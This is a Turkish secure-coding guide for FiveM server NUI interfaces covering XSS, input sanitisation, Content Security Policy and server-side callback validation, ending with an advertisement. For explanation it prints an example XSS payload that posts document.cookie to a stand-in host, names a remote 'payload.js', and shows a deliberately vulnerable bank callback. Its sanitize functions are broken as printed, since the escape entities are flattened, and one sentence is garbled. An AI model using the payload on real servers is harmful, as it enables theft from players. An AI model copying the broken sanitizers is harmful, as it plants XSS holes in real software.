FiveM ekosistemi geliştikçe, sunuculardaki kullanıcı arayüzleri (NUI) standart bir metin tabanlı arayüzden çıkıp tam teşekküllü web uygulamalarına (React, Vue, modern JavaScript ve Chromium Embedded Framework - CEF) dönüştü. Ancak bu modernleşme, web dünyasının en tehlikeli güvenlik açıklarını doğrudan sunucunuza taşıdı: Cross-Site Scripting (XSS) ve NUI Callback Manipülasyonu.
Kötü niyetli bir oyuncunun karakter ismine, araç plakasına veya chat mesajına gizlediği tek satırlık bir zararlı kod, o ekrana bakan tüm oyuncuların ekranlarını kilitleyebilir, NUI token'larını çalabilir ve hatta arka planda gizlice admin komutları tetikleyebilir. Bu rehberde, 2026 standartlarında FiveM NUI arayüzlerinizi nasıl kurşun geçirmez hale getireceğinizi adım adım inceliyoruz.
1. FiveM'de XSS Tehlikesi: Bir Karakter İsmi Sunucuyu Nasıl Bozar?
FiveM istemcisi, NUI pencerelerini render etmek için yerleşik bir Chromium tarayıcısı çalıştırır. Eğer yazdığınız veya satın aldığınız bir script (örneğin envanter, fatura ekranı, skor tablosu veya polis tableti) kullanıcıdan gelen girdileri doğrudan innerHTML ile DOM içerisine basıyorsa, sisteminiz XSS saldırılarına tamamen açıktır.
Örnek bir senaryo:
Bir saldırgan karakter ismini test<img src=x onerror="fetch('https://malicious-webhook.site', {method:'POST', body: document.cookie})"> şeklinde kaydeder. Bir polis memuru MDT ekranını açıp bu ismi arattığı anda, saldırganın zararlı JavaScript kodu polis memurunun oyun istemcisinde çalışır.
client.lua) ile iletişim kuran fetch('https://script_adi/callback') istekleri atabilir. Yani XSS başaran bir saldırgan, oyuncunun haberi olmadan client event'lerini tetikleyebilir.2. Adım Adım NUI Girdilerini Temizleme (Sanitization)
NUI arayüzünüzde kullanıcıdan gelen veya veritabanından çekilen hiçbir metni doğrudan HTML olarak yorumlamamalısınız. Bunun için iki katmanlı bir savunma hattı kurmalıyız:
Yöntem A: JavaScript Tarafında Güvenli Metin Basımı
NUI projenizin JavaScript dosyasında (html/script.js veya component dosyalarınızda) innerHTML kullanımını tamamen bırakıp textContent veya güvenli bir encode fonksiyonu kullanmalısınız.
// html/script.js - Güvensiz Kullanım (ASLA YAPMAYIN):
// document.getElementById('playerName').innerHTML = data.playerName;
// GÜVENLİ KULLANIM 1: Doğrudan Text Olarak Basmak
document.getElementById('playerName').textContent = data.playerName;
// GÜVENLİ KULLANIM 2: HTML Encode Yardımcı Fonksiyonu
function sanitizeHTML(str) {
if (!str) return '';
return str.replace(/[&<>'"/]/g, function (tag) {
const charsToReplace = {
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"',
'/': '/'
};
return charsToReplace[tag] || tag;
});
}
// Kullanım örneği:
const safePlayerName = sanitizeHTML(data.playerName);
element.innerHTML = `<span>Oyuncu: ${safePlayerName}</span>`;Yöntem B: Lua Tarafında Veriyi İstemciye Göndermeden Önce Filtreleme
Veritabanından çekilen veya oyuncunun yazdığı veriyi NUI'a (SendNUIMessage) aktarmadan önce Lua tarafında temizleyebilirsiniz.
resources/[scripts]/guvenlik_paketi/server.lua:
local function SanitizeString(input)
if type(input) ~= "string" then return input end
input = string.gsub(input, "<", "<")
input = string.gsub(input, ">", ">")
input = string.gsub(input, '"', """)
input = string.gsub(input, "'", "'")
return input
end
-- Kullanım örneği: Fatura veya Karakter Bilgisi İstemciye İletilirken
RegisterNetEvent('fatura:faturaGoster', function(targetId, data)
local safeData = {
gonderen = SanitizeString(data.gonderen),
tutar = tonumber(data.tutar) or 0,
aciklama = SanitizeString(data.aciklama)
}
TriggerClientEvent('fatura:nuiAc', targetId, safeData)
end)3. Content Security Policy (CSP) ile Harici Sızıntıları Kesin
NUI arayüzünüzün HTML dosyasının <head> bloğuna bir Content Security Policy (CSP) eklemek, CEF tarayıcısının bilinmeyen sunuculara veri sızdırmasını (data exfiltration) veya dışarıdan şüpheli JS dosyaları çekmesini tarayıcı düzeyinde engeller.
html/index.html dosyanızı açın ve <head> etiketinin hemen altına şu meta etiketini yerleştirin:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self' https://cfx-nui-*;
script-src 'self';
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https://cfx-nui-*;"><script src="https://hacker.com/payload.js"> eklese dahi, tarayıcı harici bağlantıyı anında bloke eder.4. NUI Callback Manipülasyonunu ve Yetkisiz İstekleri Önleme
Bir diğer kritik zafiyet, oyuncuların NUI DevTools (İncele) konsolunu kullanarak sahte HTTP POST istekleri (fetch('https://resource_name/callback', ...)) göndermesidir. Örneğin saldırgan, banka arayüzü açıkken konsoldan para transferi tetikleyebilir.
Hatalı Callback Mantığı (İstemciye Güvenen Tasarım)
-- client.lua (ZAFİYETLİ)
RegisterNUICallback('paraTransfer', function(data, cb)
-- HATA: data.gonderenID bilgisine güvenilerek server event'i tetikleniyor!
TriggerServerEvent('banka:paraGonder', data.gonderenID, data.aliciID, data.tutar)
cb('ok')
end)Doğru ve Güvenli Tasarım (Sunucu Otoritesi)
İstemciden (NUI) gelen callback sadece isteğin niyetini belirtmelidir. Kimlik doğrulaması (source) daima sunucu katmanında yapılmalıdır.
-- client.lua (GÜVENLİ)
RegisterNUICallback('paraTransfer', function(data, cb)
local alici = tonumber(data.aliciID)
local miktar = tonumber(data.tutar)
-- Temel veri tipi kontrolü
if not alici or not miktar or miktar <= 0 then
cb({ success = false, message = "Geçersiz parametre!" })
return
end
-- Gönderen ID asla client'tan alınmaz! Sunucu 'source' üzerinden kim olduğunu bilir.
TriggerServerEvent('banka:guvenliTransfer', alici, miktar)
cb({ success = true })
end)Sunucu tarafında (server.lua):
RegisterNetEvent('banka:guvenliTransfer', function(aliciId, miktar)
local src = source -- İstisteği yapan gerçek oyuncu kimliği
-- Sunucu tarafı bakiye ve mesafe kontrolleri
local gonderenPara = GetPlayerBankBalance(src)
if gonderenPara >= miktar then
RemovePlayerBankBalance(src, miktar)
AddPlayerBankBalance(aliciId, miktar)
else
print(string.format("[GÜVENLİK İHLALİ] Oyuncu %s yetersiz bakiye ile işlem yapmaya çalıştı!", src))
end
end)5. Sağlam ve Optimize Bir Altyapı ile Güvende Kalın
Sunucu güvenliği sadece anticheat scriptleri kurmaktan ibaret değildir; yazdığınız her UI bileşeni, her NUI callback'i ve istemci-sunucu köprüsü potansiyel bir saldırı yüzeyidir. Bu tür mimari güvenlik açıklarını kapatmak, profesyonel kod yapısı ve tecrübe gerektirir.
Eğer sunucunuzun güvenliğini sıfırdan kurmakla ve NUI optimizasyonlarıyla tek tek vakit kaybetmek istemiyorsanız, tüm güvenlik testlerinden geçmiş hazır ve korumalı altyapımız olan DxAV1 - Roleplay Paketi çözümümüzü inceleyebilir veya mevcut scriptlerinizin taranıp güvenli hale getirilmesi için Developerlik Hizmeti ekibimizle çalışabilirsiniz.
Sıkça Sorulan Sorular (SSS)
1. Sadece chat ekranını korumak XSS saldırılarını engellemek için yeterli mi?
Hayır. Chat en bariz saldırı noktası olsa da, fatura açıklamaları, polis ceza sistemi (MDT), oyuncu not defterleri, özel plaka sistemleri ve hatta karakterlerin Discord profil isimleri dahi NUI üzerinde render ediliyorsa saldırı vektörüdür. Ekrana basılan tüm dinamik string'ler filtrelenmelidir.
2. CSP (Content Security Policy) Discord avatarlarının NUI'da görünmesini engeller mi?
Eğer CSP başlığınızdaki img-src yönergesine https://cdn.discordapp.com eklemezseniz engeller. Skor tablosu veya envanterinizde Discord profil resimlerini kullanıyorsanız meta etiketini img-src 'self' data: https://cfx-nui-* https://cdn.discordapp.com; şeklinde güncellemeniz gerekir.
3. NUI DevTools (F8 veya Tarayıcı İnceleme) tamamen kapatılabilir mi?
FiveM, geliştirici ortamı dışında NUI pencerelerinde varsayılan olarak sağ tık 'İncele' menüsünü kısıtlar; ancak istemci modifikasyonları veya debug modları ile bu konsollar açılabilir. Bu yüzden güvenliğinizi asla DevTools'un açılmamasına dayandırmayın; daima NUI callback'leri ve sunucu event'lerini manipülasyona karşı doğrulamaya odaklanın.
